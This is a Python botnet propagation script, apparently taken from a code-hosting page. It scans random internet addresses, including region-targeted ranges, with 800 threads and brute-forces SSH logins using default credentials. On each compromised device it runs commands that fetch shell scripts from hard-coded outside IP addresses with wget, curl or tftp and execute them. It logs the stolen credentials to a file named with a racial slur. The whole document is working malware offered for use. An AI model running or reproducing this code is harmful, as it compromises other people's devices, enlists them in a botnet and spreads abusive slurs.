Path: blob/master/Botnets/Scanning/AUTOSCANNER/Gucci.py
5038 views
#!/usr/bin/env python1import threading, paramiko, random, socket, time, sys23paramiko.util.log_to_file("/dev/null")45#cmd='cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://104.207.132.137/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 104.207.132.137 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 104.207.132.137; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 104.207.132.137 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *'6cmd='cd /tmp; wget http://63.141.244.106/bins.sh || curl -O http://63.141.244.106/bins.sh; chmod 777 bins.sh; sh bins.sh; busybox tftp 63.141.244.106 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; busybox tftp -r tftp2.sh -g 63.141.244.106; chmod 777 tftp2.sh; sh tftp2.sh; rm -rf bins.sh tftp1.sh tftp2.sh'7blacklist = [8'127'9]1011passwords = [12"admin:1234"13"guest:guest"14"user:user"15"test:test"16"ubnt:ubnt"17"root:root"18"root:admin"19"admin:admin"20"root:1234"21"pi:raspberry"22"vagrant:vagrant"23"admin:12345"24"12345:12345"25"admin:password"26"banana:pi"27"pi:banana"28"raspberry:pi"29"pi:raspberry"30"pi:pi"31"support:support"32"admin:default"33"root:password"34]3536if sys.argv[4] == '1':37passwords = ["root:root"]38if sys.argv[4] == '2':39passwords = ["guest:guest"]40if sys.argv[4] == '3':41passwords = ["admin:1234"]42if sys.argv[4] == '4':43passwords = ["admin:admin"]4445print "\x1b[0;31mScanner Started...\x1b[0m"4647ipclassinfo = sys.argv[2]48if ipclassinfo == "A":49ip1 = sys.argv[3]50elif ipclassinfo == "B":51ip1 = sys.argv[3].split(".")[0]52ip2 = sys.argv[3].split(".")[1]53elif ipclassinfo == "C":54ips = sys.argv[3].split(".")55num=056for ip in ips:57num=num+158if num == 1:59ip1 = ip60elif num == 2:61ip2 = ip62elif num == 3:63ip3 = ip64class sshscanner(threading.Thread):65global passwords66global ipclassinfo67if ipclassinfo == "A":68global ip169elif ipclassinfo == "B":70global ip171global ip272elif ipclassinfo == "C":73global ip174global ip275global ip376def run(self):77while 1:78try:79while 1:80thisipisbad='no'81if ipclassinfo == "A":82self.host = ip1+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))83elif ipclassinfo == "B":84self.host = ip1+'.'+ip2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))85elif ipclassinfo == "C":86self.host = ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))87elif ipclassinfo == "BRAZIL":88br = ["179.105","179.152","189.29","189.32","189.33","189.34","189.35","189.39","189.4","189.54","189.55","189.60","189.61","189.62","189.63","189.126"]89self.host = random.choice(br)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))90elif ipclassinfo == "ER":91yeet = ["122","131","161","37","186","187","31","188","201","2","200"]92self.host = random.choice(yeet)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))93elif ipclassinfo == "LUCKY":94lucky = ["125.27","101.109","113.53","118.173","122.170","122.180","46.62","5.78","101.108","1.20","125.25","125.26","182.52","118.172","118.174","118.175","125.24"]95self.host = random.choice(lucky)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))96elif ipclassinfo == "LUCKY2":97lucky2 = [ "122.3","122.52","122.54","119.93","124.105","124.105" ]98self.host = random.choice(lucky2)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))99elif ipclassinfo == "LUCKY3":100lucky2 = [ "103.20","103.30","103.47","103.57" ]101self.host = random.choice(lucky2)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))102elif ipclassinfo == "RAND":103self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))104elif ipclassinfo == "INTERNET":105lol = ["1"]106self.host = random.choice(lol)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))107else:108self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))109for badip in blacklist:110if badip in self.host:111thisipisbad='yes'112if thisipisbad=='no':113break114username='root'115password=""116port = 22117s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)118s.settimeout(3)119s.connect((self.host, port))120s.close()121ssh = paramiko.SSHClient()122ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())123dobreak=False124for passwd in passwords:125if ":n/a" in passwd:126password=""127else:128password=passwd.split(":")[1]129if "n/a:" in passwd:130username=""131else:132username=passwd.split(":")[0]133try:134ssh.connect(self.host, port = port, username=username, password=password, timeout=3)135dobreak=True136break137except:138pass139if True == dobreak:140break141badserver=True142stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")143output = stdout.read()144if "inet addr" in output:145badserver=False146if badserver == False:147print 'Found '+self.host+'|'+username+'|'+password+'|'+str(port)148ssh.exec_command(""+cmd+"")149nigger = open("niggers.txt", "a").write(username + ":" + password + ":" + self.host + "\n")150time.sleep(15)151ssh.close()152except:153pass154155for x in range(0,800):156try:157t = sshscanner()158t.start()159except:160pass161162